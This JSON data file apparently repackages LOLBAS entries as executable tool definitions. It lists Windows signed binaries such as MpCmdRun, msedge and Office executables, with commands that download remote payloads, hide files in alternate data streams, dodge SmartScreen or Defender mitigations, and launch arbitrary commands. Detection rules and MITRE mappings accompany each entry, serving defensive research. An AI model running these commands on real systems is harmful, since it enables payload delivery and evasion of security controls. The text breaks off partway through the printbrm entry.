    "_body": "\n# ldifde\n\nldifde is a Windows LOLBin. Creates, modifies, and deletes LDAP directory objects. Located at: c:\\windows\\system32\\ldifde.exe; c:\\windows\\syswow64\\ldifde.exe.\n",
    "_source": "ldifde.md",
    "allowed-tools": [
      "ldifde"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Grzegorz Tworek",
    "capabilities": [
      "network.transfer.download"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Creates, modifies, and deletes LDAP directory objects. Located at: c:\\windows\\system32\\ldifde.exe; c:\\windows\\syswow64\\ldifde.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/3d172914f6c2bd5c2b5ed471bf0657a662d395af/rules/windows/process_creation/proc_creation_win_ldifde_export.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/3d172914f6c2bd5c2b5ed471bf0657a662d395af/rules/windows/process_creation/proc_creation_win_ldifde_file_load.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/3d172914f6c2bd5c2b5ed471bf0657a662d395af/rules-emerging-threats/2019/TA/APT31/proc_creation_win_apt_apt31_judgement_panda.yml"
      }
    ],
    "examples": [
      {
        "description": "Import specified .ldf file into LDAP. If the file contains http-based attrval-spec such as `thumbnailPhoto:< http://example.org/somefile.txt`, the file will be downloaded into IE temp folder. (Download file from Internet)",
        "command": "Ldifde -i -f {PATH:.ldf}"
      }
    ],
    "execution": {
      "template": "ldifde",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "network-intensive",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-download-ldifde",
    "install": [
      {
        "method": "choco",
        "package_name": "ldifde",
        "commands": [
          "choco install ldifde"
        ]
      }
    ],
    "mitre_ids": [
      "T1105"
    ],
    "name": "ldifde",
    "namespace": "windows:download:ldifde",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "1564968845726580736",
        "url": "https://twitter.com/0gtweet/status/1564968845726580736"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# mpcmdrun\n\nmpcmdrun is a Windows LOLBin. Binary part of Windows Defender. Used to manage settings in Windows Defender Located at: C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.2008.4-0\\MpCmdRun.exe; C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.2008.7-0\\MpCmdRun.exe; C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.2008.9-0\\MpCmdRun.exe.\n",
    "_source": "mpcmdrun.md",
    "allowed-tools": [
      "mpcmdrun"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "network.transfer.download",
      "system.file.alternate-data-stream"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "filesystem_write",
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Binary part of Windows Defender. Used to manage settings in Windows Defender Located at: C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.2008.4-0\\MpCmdRun.exe; C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.2008.7-0\\MpCmdRun.exe; C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.2008.9-0\\MpCmdRun.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/159bf4bbc103cc2be3fef4b7c2e7c8b23b63fd10/rules/windows/process_creation/win_susp_mpcmdrun_download.yml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/6ef5c53b0c15e344f0f2d1649941391aea6fa253/rules/windows/command_and_control_remote_file_copy_mpcmdrun.toml"
      },
      {
        "type": "ioc",
        "description": "MpCmdRun storing data into alternate data streams."
      },
      {
        "type": "ioc",
        "description": "MpCmdRun retrieving a file from a remote machine or the internet that is not expected."
      },
      {
        "type": "ioc",
        "description": "Monitor process creation for non-SYSTEM and non-LOCAL SERVICE accounts launching mpcmdrun.exe."
      },
      {
        "type": "ioc",
        "description": "Monitor for the creation of %USERPROFILE%\\AppData\\Local\\Temp\\MpCmdRun.log"
      },
      {
        "type": "ioc",
        "description": "User Agent is \"MpCommunication\""
      }
    ],
    "examples": [
      {
        "description": "Download file to specified path - Slashes work as well as dashes (/DownloadFile, /url, /path) (Download file)",
        "command": "MpCmdRun.exe -DownloadFile -url {REMOTEURL:.exe} -path {PATH_ABSOLUTE:.exe}"
      },
      {
        "description": "Download file to specified path. Slashes work as well as dashes (/DownloadFile, /url, /path). Updated version to bypass Windows 10 mitigation. (Download file)",
        "command": "copy \"C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.2008.9-0\\MpCmdRun.exe\" C:\\Users\\Public\\Downloads\\MP.exe && chdir \"C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.2008.9-0\\\" && \"C:\\Users\\Public\\Downloads\\MP.exe\" -DownloadFile -url {REMOTEURL:.exe} -path C:\\Users\\Public\\Downloads\\evil.exe"
      },
      {
        "description": "Download file to machine and store it in Alternate Data Stream (Hide downloaded data into an Alternate Data Stream)",
        "command": "MpCmdRun.exe -DownloadFile -url {REMOTEURL:.exe} -path {PATH_ABSOLUTE:.exe}:evil.exe"
      }
    ],
    "execution": {
      "template": "mpcmdrun",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "network-intensive",
      "pipes-stdin",
      "pipes-stdout",
      "process-manip",
      "streaming"
    ],
    "global_vars": {},
    "id": "windows-download-mpcmdrun",
    "install": [
      {
        "method": "choco",
        "package_name": "mpcmdrun",
        "commands": [
          "choco install mpcmdrun"
        ]
      }
    ],
    "mitre_ids": [
      "T1105",
      "T1564.004"
    ],
    "name": "mpcmdrun",
    "namespace": "windows:download:mpcmdrun",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "command-line-arguments-microsoft-defender-antiviru",
        "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-antivirus/command-line-arguments-microsoft-defender-antivirus"
      },
      {
        "label": "1301263551638761477",
        "url": "https://twitter.com/mohammadaskar2/status/1301263551638761477"
      },
      {
        "label": "1301444858910052352",
        "url": "https://twitter.com/Oddvarmoe/status/1301444858910052352"
      },
      {
        "label": "1301506813242867720",
        "url": "https://twitter.com/NotMedic/status/1301506813242867720"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "exfiltration",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# msaccess\n\nmsaccess is a Windows LOLBin. Microsoft Office component Located at: C:\\Program Files (x86)\\Microsoft Office 16\\ClientX86\\Root\\Office16\\MSAccess.exe; C:\\Program Files\\Microsoft Office 16\\ClientX64\\Root\\Office16\\MSAccess.exe; C:\\Program Files (x86)\\Microsoft Office\\Office16\\MSAccess.exe.\n",
    "_source": "msaccess.md",
    "allowed-tools": [
      "msaccess"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Nir Chako",
    "capabilities": [
      "network.transfer.download"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Microsoft Office component Located at: C:\\Program Files (x86)\\Microsoft Office 16\\ClientX86\\Root\\Office16\\MSAccess.exe; C:\\Program Files\\Microsoft Office 16\\ClientX64\\Root\\Office16\\MSAccess.exe; C:\\Program Files (x86)\\Microsoft Office\\Office16\\MSAccess.exe.",
    "detections": [
      {
        "type": "ioc",
        "description": "URL on a MSAccess command line"
      },
      {
        "type": "ioc",
        "description": "MSAccess making unexpected network connections or DNS requests"
      }
    ],
    "examples": [
      {
        "description": "Downloads payload from remote server (It will download a remote payload (if it has the filename extension .mdb) and place it in INetCache.)",
        "command": "MSAccess.exe {REMOTEURL}"
      }
    ],
    "execution": {
      "template": "msaccess",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "network-intensive",
      "pipes-stdout",
      "remote",
      "requires-root"
    ],
    "global_vars": {},
    "id": "windows-download-msaccess",
    "install": [
      {
        "method": "choco",
        "package_name": "msaccess",
        "commands": [
          "choco install msaccess"
        ]
      }
    ],
    "mitre_ids": [
      "T1105"
    ],
    "name": "msaccess",
    "namespace": "windows:download:msaccess",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# msedge\n\nmsedge is a Windows LOLBin. Microsoft Edge browser Located at: c:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe; c:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe.\n",
    "_source": "msedge.md",
    "allowed-tools": [
      "msedge"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "mr.d0x",
    "capabilities": [
      "network.transfer.download",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "network_traffic",
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Microsoft Edge browser Located at: c:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe; c:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/b02e3b698afbaae143ac4fb36236eb0b41122ed7/rules/windows/process_creation/proc_creation_win_browsers_msedge_arbitrary_download.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/b02e3b698afbaae143ac4fb36236eb0b41122ed7/rules/windows/process_creation/proc_creation_win_browsers_chromium_headless_file_download.yml"
      }
    ],
    "examples": [
      {
        "description": "Edge will launch and download the file. A 'harmless' file extension (e.g. .txt, .zip) should be appended to avoid SmartScreen. (Download file from the internet)",
        "command": "msedge.exe {REMOTEURL:.exe.txt}"
      },
      {
        "description": "Edge will silently download the file. File extension should be .html and binaries should be encoded. (Download file from the internet)",
        "command": "msedge.exe --headless --enable-logging --disable-gpu --dump-dom \"{REMOTEURL:.base64.html}\" > {PATH:.b64}"
      },
      {
        "description": "Edge spawns cmd.exe as a child process of msedge.exe and executes the specified command (Executes a process under a trusted Microsoft signed binary)",
        "command": "msedge.exe --disable-gpu-sandbox --gpu-launcher=\"{CMD} &&\""
      }
    ],
    "execution": {
      "template": "msedge",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "network-intensive",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-download-msedge",
    "install": [
      {
        "method": "choco",
        "package_name": "msedge",
        "commands": [
          "choco install msedge"
        ]
      }
    ],
    "mitre_ids": [
      "T1105",
      "T1218.015"
    ],
    "name": "msedge",
    "namespace": "windows:download:msedge",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "1478116126005641220",
        "url": "https://twitter.com/mrd0x/status/1478116126005641220"
      },
      {
        "label": "1478234484881436672",
        "url": "https://twitter.com/mrd0x/status/1478234484881436672"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "exfiltration",
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# msohtmed\n\nmsohtmed is a Windows LOLBin. Microsoft Office component Located at: C:\\Program Files (x86)\\Microsoft Office 16\\ClientX86\\Root\\Office16\\MSOHTMED.exe; C:\\Program Files\\Microsoft Office 16\\ClientX64\\Root\\Office16\\MSOHTMED.exe; C:\\Program Files (x86)\\Microsoft Office\\Office16\\MSOHTMED.exe.\n",
    "_source": "msohtmed.md",
    "allowed-tools": [
      "msohtmed"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Nir Chako",
    "capabilities": [
      "network.transfer.download"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Microsoft Office component Located at: C:\\Program Files (x86)\\Microsoft Office 16\\ClientX86\\Root\\Office16\\MSOHTMED.exe; C:\\Program Files\\Microsoft Office 16\\ClientX64\\Root\\Office16\\MSOHTMED.exe; C:\\Program Files (x86)\\Microsoft Office\\Office16\\MSOHTMED.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/19396788dbedc57249a46efed2bb1927abc376d4/rules/windows/process_creation/proc_creation_win_lolbin_msohtmed_download.yml"
      },
      {
        "type": "ioc",
        "description": "Suspicious Office application internet/network traffic"
      }
    ],
    "examples": [
      {
        "description": "Downloads payload from remote server (It will download a remote payload and place it in INetCache.)",
        "command": "MsoHtmEd.exe {REMOTEURL}"
      }
    ],
    "execution": {
      "template": "msohtmed",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "network-intensive",
      "pipes-stdout",
      "remote",
      "requires-root"
    ],
    "global_vars": {},
    "id": "windows-download-msohtmed",
    "install": [
      {
        "method": "choco",
        "package_name": "msohtmed",
        "commands": [
          "choco install msohtmed"
        ]
      }
    ],
    "mitre_ids": [
      "T1105"
    ],
    "name": "msohtmed",
    "namespace": "windows:download:msohtmed",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# mspub\n\nmspub is a Windows LOLBin. Microsoft Publisher Located at: C:\\Program Files (x86)\\Microsoft Office 16\\ClientX86\\Root\\Office16\\MSPUB.exe; C:\\Program Files\\Microsoft Office 16\\ClientX64\\Root\\Office16\\MSPUB.exe; C:\\Program Files (x86)\\Microsoft Office\\Office16\\MSPUB.exe.\n",
    "_source": "mspub.md",
    "allowed-tools": [
      "mspub"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Nir Chako",
    "capabilities": [
      "network.transfer.download"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Microsoft Publisher Located at: C:\\Program Files (x86)\\Microsoft Office 16\\ClientX86\\Root\\Office16\\MSPUB.exe; C:\\Program Files\\Microsoft Office 16\\ClientX64\\Root\\Office16\\MSPUB.exe; C:\\Program Files (x86)\\Microsoft Office\\Office16\\MSPUB.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_mspub_download.yml"
      },
      {
        "type": "ioc",
        "description": "Suspicious Office application internet/network traffic"
      }
    ],
    "examples": [
      {
        "description": "Downloads payload from remote server (It will download a remote payload and place it in INetCache.)",
        "command": "mspub.exe {REMOTEURL}"
      }
    ],
    "execution": {
      "template": "mspub",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "network-intensive",
      "pipes-stdout",
      "remote",
      "requires-root"
    ],
    "global_vars": {},
    "id": "windows-download-mspub",
    "install": [
      {
        "method": "choco",
        "package_name": "mspub",
        "commands": [
          "choco install mspub"
        ]
      }
    ],
    "mitre_ids": [
      "T1105"
    ],
    "name": "mspub",
    "namespace": "windows:download:mspub",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# ngen\n\nngen is a Windows LOLBin. Microsoft Native Image Generator. Located at: C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ngen.exe; C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ngen.exe; C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe.\n",
    "_source": "ngen.md",
    "allowed-tools": [
      "ngen"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Avihay Eldad",
    "capabilities": [
      "network.transfer.download"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Microsoft Native Image Generator. Located at: C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ngen.exe; C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ngen.exe; C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe.",
    "detections": [],
    "examples": [
      {
        "description": "Downloads payload from remote server using the Microsoft Native Image Generator utility. (It will download a remote payload and place it in INetCache.)",
        "command": "ngen.exe {REMOTEURL}"
      }
    ],
    "execution": {
      "template": "ngen",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "network-intensive",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-download-ngen",
    "install": [
      {
        "method": "choco",
        "package_name": "ngen",
        "commands": [
          "choco install ngen"
        ]
      }
    ],
    "mitre_ids": [
      "T1105"
    ],
    "name": "ngen",
    "namespace": "windows:download:ngen",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# onedrivestandaloneupdater\n\nonedrivestandaloneupdater is a Windows LOLBin. OneDrive Standalone Updater Located at: C:\\Users\\<username>\\AppData\\Local\\Microsoft\\OneDrive\\OneDriveStandaloneUpdater.exe; C:\\Program Files\\Microsoft OneDrive\\OneDriveStandaloneUpdater.exe; C:\\Program Files (x86)\\Microsoft OneDrive\\OneDriveStandaloneUpdater.exe.\n",
    "_source": "onedrivestandaloneupdater.md",
    "allowed-tools": [
      "onedrivestandaloneupdater"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Elliot Killick",
    "capabilities": [
      "network.transfer.download"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "OneDrive Standalone Updater Located at: C:\\Users\\<username>\\AppData\\Local\\Microsoft\\OneDrive\\OneDriveStandaloneUpdater.exe; C:\\Program Files\\Microsoft OneDrive\\OneDriveStandaloneUpdater.exe; C:\\Program Files (x86)\\Microsoft OneDrive\\OneDriveStandaloneUpdater.exe.",
    "detections": [
      {
        "type": "ioc",
        "description": "HKCU\\Software\\Microsoft\\OneDrive\\UpdateOfficeConfig\\UpdateRingSettingURLFromOC being set to a suspicious non-Microsoft controlled URL"
      },
      {
        "type": "ioc",
        "description": "Reports of downloading from suspicious URLs in %localappdata%\\OneDrive\\setup\\logs\\StandaloneUpdate_*.log files"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/ff5102832031425f6eed011dd3a2e62653008c94/rules/windows/registry/registry_set/registry_set_lolbin_onedrivestandaloneupdater.yml"
      }
    ],
    "examples": [
      {
        "description": "Download a file from the web address specified in `HKCU\\Software\\Microsoft\\OneDrive\\UpdateOfficeConfig\\UpdateRingSettingURLFromOC`. `ODSUUpdateXMLUrlFromOC` and `UpdateXMLUrlFromOC` must be equal to non-empty string values in that same registry key. `UpdateOfficeConfigTimestamp` is a UNIX epoch time which must be set to a large QWORD such as 99999999999 (in decimal) to indicate the URL cache is good. The downloaded file will be in `%localappdata%\\OneDrive\\StandaloneUpdater\\PreSignInSettingsConfig.json`. (Download a file from the Internet without executing any anomalous executables with suspicious arguments)",
        "command": "OneDriveStandaloneUpdater"
      }
    ],
    "execution": {
      "template": "onedrivestandaloneupdater",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "network-intensive",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-download-onedrivestandaloneupdater",
    "install": [
      {
        "method": "choco",
        "package_name": "onedrivestandaloneupdater",
        "commands": [
          "choco install onedrivestandaloneupdater"
        ]
      }
    ],
    "mitre_ids": [
      "T1105"
    ],
    "name": "onedrivestandaloneupdater",
    "namespace": "windows:download:onedrivestandaloneupdater",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "153",
        "url": "https://github.com/LOLBAS-Project/LOLBAS/pull/153"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# photoviewer\n\nphotoviewer is a Windows LOLBin. Windows Photo Viewer Located at: C:\\Program Files\\Windows Photo Viewer\\PhotoViewer.dll; C:\\Program Files (x86)\\Windows Photo Viewer\\PhotoViewer.dll.\n",
    "_source": "photoviewer.md",
    "allowed-tools": [
      "photoviewer"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Avihay Eldad",
    "capabilities": [
      "network.transfer.download"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Windows Photo Viewer Located at: C:\\Program Files\\Windows Photo Viewer\\PhotoViewer.dll; C:\\Program Files (x86)\\Windows Photo Viewer\\PhotoViewer.dll.",
    "detections": [
      {
        "type": "ioc",
        "description": "Execution of rundll32.exe with 'ImageView_Fullscreen' and a remote URL (containing '://') as an argument"
      }
    ],
    "examples": [
      {
        "description": "Once executed, rundll32.exe will download the file at the specified URL to the user's INetCache folder using the Windows Photo Viewer DLL. (Download file from remote location.)",
        "command": "rundll32.exe \"C:\\Program Files\\Windows Photo Viewer\\PhotoViewer.dll\",ImageView_Fullscreen {REMOTEURL}"
      }
    ],
    "execution": {
      "template": "photoviewer",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "network-intensive",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-download-photoviewer",
    "install": [
      {
        "method": "choco",
        "package_name": "photoviewer",
        "commands": [
          "choco install photoviewer"
        ]
      }
    ],
    "mitre_ids": [
      "T1105"
    ],
    "name": "photoviewer",
    "namespace": "windows:download:photoviewer",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# powerpnt\n\npowerpnt is a Windows LOLBin. Microsoft Office binary. Located at: C:\\Program Files (x86)\\Microsoft Office 16\\ClientX86\\Root\\Office16\\Powerpnt.exe; C:\\Program Files\\Microsoft Office 16\\ClientX64\\Root\\Office16\\Powerpnt.exe; C:\\Program Files (x86)\\Microsoft Office\\Office16\\Powerpnt.exe.\n",
    "_source": "powerpnt.md",
    "allowed-tools": [
      "powerpnt"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Reegun J (OCBC Bank)",
    "capabilities": [
      "network.transfer.download"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Microsoft Office binary. Located at: C:\\Program Files (x86)\\Microsoft Office 16\\ClientX86\\Root\\Office16\\Powerpnt.exe; C:\\Program Files\\Microsoft Office 16\\ClientX64\\Root\\Office16\\Powerpnt.exe; C:\\Program Files (x86)\\Microsoft Office\\Office16\\Powerpnt.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_office.yml"
      },
      {
        "type": "ioc",
        "description": "Suspicious Office application Internet/network traffic"
      }
    ],
    "examples": [
      {
        "description": "Downloads payload from remote server (It will download a remote payload and place it in INetCache.)",
        "command": "Powerpnt.exe {REMOTEURL}"
      }
    ],
    "execution": {
      "template": "powerpnt",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "network-intensive",
      "pipes-stdout",
      "remote",
      "requires-root"
    ],
    "global_vars": {},
    "id": "windows-download-powerpnt",
    "install": [
      {
        "method": "choco",
        "package_name": "powerpnt",
        "commands": [
          "choco install powerpnt"
        ]
      }
    ],
    "mitre_ids": [
      "T1105"
    ],
    "name": "powerpnt",
    "namespace": "windows:download:powerpnt",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "1150032506504151040",
        "url": "https://twitter.com/reegun21/status/1150032506504151040"
      },
      {
        "label": "unsanitized-file-validation-leads-to-malicious-pay",
        "url": "https://medium.com/@reegun/unsanitized-file-validation-leads-to-malicious-payload-download-via-office-binaries-202d02db7191"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# printbrm\n\nprintbrm is a Windows LOLBin. Printer Migration Command-Line Tool Located at: C:\\Windows\\System32\\spool\\tools\\PrintBrm.exe.\n",
    "_source": "printbrm.md",
    "allowed-tools": [
      "printbrm"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Elliot Killick",
    "capabilities": [
      "network.transfer.download",
      "system.file.alternate-data-stream"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
